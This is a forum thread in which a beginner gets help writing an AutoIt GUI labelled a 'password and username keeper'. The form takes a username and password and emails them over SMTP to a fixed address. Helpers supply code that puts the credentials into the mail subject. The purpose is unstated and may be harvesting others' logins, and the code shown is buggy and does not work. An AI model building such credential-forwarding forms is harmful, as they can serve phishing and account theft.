Sign in to follow this  
Followers 0
dixo

Im lost >;D help?

47 posts in this topic

#1 ·  Posted (edited)

Hello there i know you maybe get mad becuse i reposted this 1.

but it would be really cool if you could help me so i can get this code to work:

#include <GUIConstants.au3>
#include <INet.au3>

Dim $getSelect1
Dim $getSelect2

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("pass word and username keeper", 608, 428, 193, 125)
GUICtrlCreateInput("", 224, 192, 121, 21)
GUICtrlCreateInput("", 224, 240, 121, 21)
$Group1 = GUICtrlCreateGroup("pass word and username keeper", 112, 168, 273, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Pic1 = GUICtrlCreatePic("", 0, 0, 628, 444, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Username = GUICtrlCreateLabel("Username", 152, 192, 46, 17)
$password = GUICtrlCreateLabel("password", 152, 240, 49, 17)
$accept = GUICtrlCreateButton("accept", 300, 300, 80, 30, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        case $accept
            $getSelect1 = GUICtrlRead($Username)
            $getSelect2 = GUICtrlRead($password)
            _INetSmtpMail ( $s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress ,$s_Subject ,$as_Body)
            Exit
    EndSwitch
WEnd

thats the code i made, but clay made: for me

$getSelect1 = GUICtrlRead($Usernam)
            $getSelect2 = GUICtrlRead($password)
            _INetSmtpMail ( $s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress ,$s_Subject ,$as_Body)
            Exit

now i just whant to know if anyone know what i need to do with

$getSelect1 = GUICtrlRead($Usernam)
            $getSelect2 = GUICtrlRead($password)
            _INetSmtpMail ( $s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress ,$s_Subject ,$as_Body)
            Exit

i know what the code do but what do i need to do with the code so it send the mail to my email : (an then my email) and the subject is (pass and name kepper)

do anyone know how i can done this code??? full???

Edited by dixo

---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites



Please Remove your email address because you may be spammed by bots.


sorry for my spelling mistakes. its due to be fast !!!

Share this post


Link to post
Share on other sites

read the help file under _INetSmtpMail it pretty much says it all I think.

Share this post


Link to post
Share on other sites

read the help file under _INetSmtpMail it pretty much says it all I think.

ye i know it just i cant find it in the help file ;(


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

Use this under case $accept:

$getSelect1 = GUICtrlRead($Usernam)
            $getSelect2 = GUICtrlRead($password)
            $s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2
            _INetSmtpMail ( "Set the server of your mail here", "Password Keeper", "Password_Keeper@support.com", "The_email_you_want_to_send_the_mail_to",$s_Subject)

Then just put in your own datas..

Tell me if it works :)

Regards

Share this post


Link to post
Share on other sites

Use this under case $accept:

$getSelect1 = GUICtrlRead($Usernam)
            $getSelect2 = GUICtrlRead($password)
            $s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2
            _INetSmtpMail ( "Set the server of your mail here", "Password Keeper", "Password_Keeper@support.com", "The_email_you_want_to_send_the_mail_to",$s_Subject)

Then just put in your own datas..

Tell me if it works :)

Regards

naaa i get an error ;(

---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

Hmm.. maybe it's because you are running the beta.

Try setting an ";" before the line that declare $pic1 that causes my error and see if you then can compile the program.

It's hard to help you when I don't know which error you get.

Share this post


Link to post
Share on other sites

it say the code in an box and then it says: uknown funtion name


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

and what are you meaning with:

Set the server of your mail here

server of mail???


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

explanation on what to put in the first field:

$s_SmtpServer: Smtp server the eMail is to be sent though May be either alpha or a numeric IP address. In order to fight spam, many ISPs require this to be their server.

eg "smtp.ispdomain.com", "mail.ispdomain.com" or "192.168.1.1".

Second try run this and see if you get any errors:

#include <GUIConstants.au3>
#include <INet.au3>

Dim $getSelect1
Dim $getSelect2

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("pass word and username keeper", 608, 428, 193, 125)
GUICtrlCreateInput("", 224, 192, 121, 21)
GUICtrlCreateInput("", 224, 240, 121, 21)
$Group1 = GUICtrlCreateGroup("pass word and username keeper", 112, 168, 273, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Usernam = GUICtrlCreateLabel("Username", 152, 192, 46, 17)
$password = GUICtrlCreateLabel("password", 152, 240, 49, 17)
$accept = GUICtrlCreateButton("accept", 300, 300, 80, 30, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        case $accept
            $getSelect1 = GUICtrlRead($Usernam)
            $getSelect2 = GUICtrlRead($password)
            $s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2
            _INetSmtpMail ( "Set the server of your mail here", "Password Keeper", "Password_Keeper@support.com", "The_email_you_want_to_send_the_mail_to",$s_Subject)
            Exit
    EndSwitch
WEnd

Share this post


Link to post
Share on other sites

explanation on what to put in the first field:

$s_SmtpServer: Smtp server the eMail is to be sent though May be either alpha or a numeric IP address. In order to fight spam, many ISPs require this to be their server.

eg "smtp.ispdomain.com", "mail.ispdomain.com" or "192.168.1.1".

Second try run this and see if you get any errors:

#include <GUIConstants.au3>
#include <INet.au3>

Dim $getSelect1
Dim $getSelect2

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("pass word and username keeper", 608, 428, 193, 125)
GUICtrlCreateInput("", 224, 192, 121, 21)
GUICtrlCreateInput("", 224, 240, 121, 21)
$Group1 = GUICtrlCreateGroup("pass word and username keeper", 112, 168, 273, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Usernam = GUICtrlCreateLabel("Username", 152, 192, 46, 17)
$password = GUICtrlCreateLabel("password", 152, 240, 49, 17)
$accept = GUICtrlCreateButton("accept", 300, 300, 80, 30, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        case $accept
            $getSelect1 = GUICtrlRead($Usernam)
            $getSelect2 = GUICtrlRead($password)
            $s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2
            _INetSmtpMail ( "Set the server of your mail here", "Password Keeper", "Password_Keeper@support.com", "The_email_you_want_to_send_the_mail_to",$s_Subject)
            Exit
    EndSwitch
WEnd

naaa it dont get an error but i dont get the mail xD


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

i set the code in and do as you say then i start it up and then i press username and password then i accept and then it close, but i dont get the mail with the pass and name in :/


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

#include <GUIConstants.au3>

#include <INet.au3>

Dim $getSelect1

Dim $getSelect2

#Region ### START Koda GUI section ### Form=

$Form1 = GUICreate("pass word and username keeper", 608, 428, 193, 125)

GUICtrlCreateInput("", 224, 192, 121, 21)

GUICtrlCreateInput("", 224, 240, 121, 21)

$Group1 = GUICtrlCreateGroup("pass word and username keeper", 112, 168, 273, 121)

GUICtrlCreateGroup("", -99, -99, 1, 1)

$Username = GUICtrlCreateLabel("Username", 152, 192, 46, 17)

$password = GUICtrlCreateLabel("password", 152, 240, 49, 17)

$accept = GUICtrlCreateButton("accept", 300, 300, 80, 30, 0)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exit

case $accept

$getSelect1 = GUICtrlRead($Username)

$getSelect2 = GUICtrlRead($password)

$s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2

_INetSmtpMail ( "192.168.1.6", "Password Keeper", "Password_Keeper@support.com", "dannie93dk@hotmail.com",$s_Subject)

Exit

EndSwitch

WEnd

that is what the code im useing but i dont get the mail ;p


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

As said... I don't see any error checking, but are you sure the SMTP relay host is the specified Ip address?


Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

i set the code in and do as you say then i start it up and then i press username and password then i accept and then it close, but i dont get the mail with the pass and name in :/

It close because of the Exit command that you have put in the code after _INetSmtpMail

Have you change the datas in the function to the things that i wrote in the example? since I don't know your datas I can't put them in for you.

The most important is your email adress and then the mail server. you could try this as the server: "192.168.1.1"

Share this post


Link to post
Share on other sites

sry im bad to english so what is

specified Ip address?

192.168.1.6 is my ip :)


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

Jos are right you could try using this with the error checking from the helpfile and tell us what it says:

#include <GUIConstants.au3>
#include <INet.au3>

Dim $getSelect1
Dim $getSelect2

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("pass word and username keeper", 608, 428, 193, 125)
GUICtrlCreateInput("", 224, 192, 121, 21)
GUICtrlCreateInput("", 224, 240, 121, 21)
$Group1 = GUICtrlCreateGroup("pass word and username keeper", 112, 168, 273, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Usernam = GUICtrlCreateLabel("Username", 152, 192, 46, 17)
$password = GUICtrlCreateLabel("password", 152, 240, 49, 17)
$accept = GUICtrlCreateButton("accept", 300, 300, 80, 30, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        case $accept
            $getSelect1 = GUICtrlRead($Usernam)
            $getSelect2 = GUICtrlRead($password)
            $s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2
            $response = _INetSmtpMail ( "Set the server of your mail here", "Password Keeper", "Password_Keeper@support.com", "The_email_you_want_to_send_the_mail_to",$s_Subject)
            If $response = 1 Then
                MsgBox(0, "Success!", "Mail sent")
            Else
                MsgBox(0, "Error!", "Mail failed with error code " & @error)
            EndIf
            
            Exit
    EndSwitch
WEnd

Share this post


Link to post
Share on other sites

#19 ·  Posted (edited)

sry im bad to english so what is

specified Ip address?

192.168.1.6 is my ip :)

OMG... how on earth am I going to explain this.....

Let me try it this way: When you use Outlook(express), what POP and SMTP hosts do you need to use ?

The SMTP host you would use there is what you need to use in the UDF.

Jos

Edited by Jos

Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites

are im so lost i just added the code you gived me

MsgBox(0, "Error!", "Mail failed with error code " & @error)

then i press accept it says : Mail failed with error code

;( dont understand that much english so i dont know where in the help file i can get the info you are talking about xD


---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0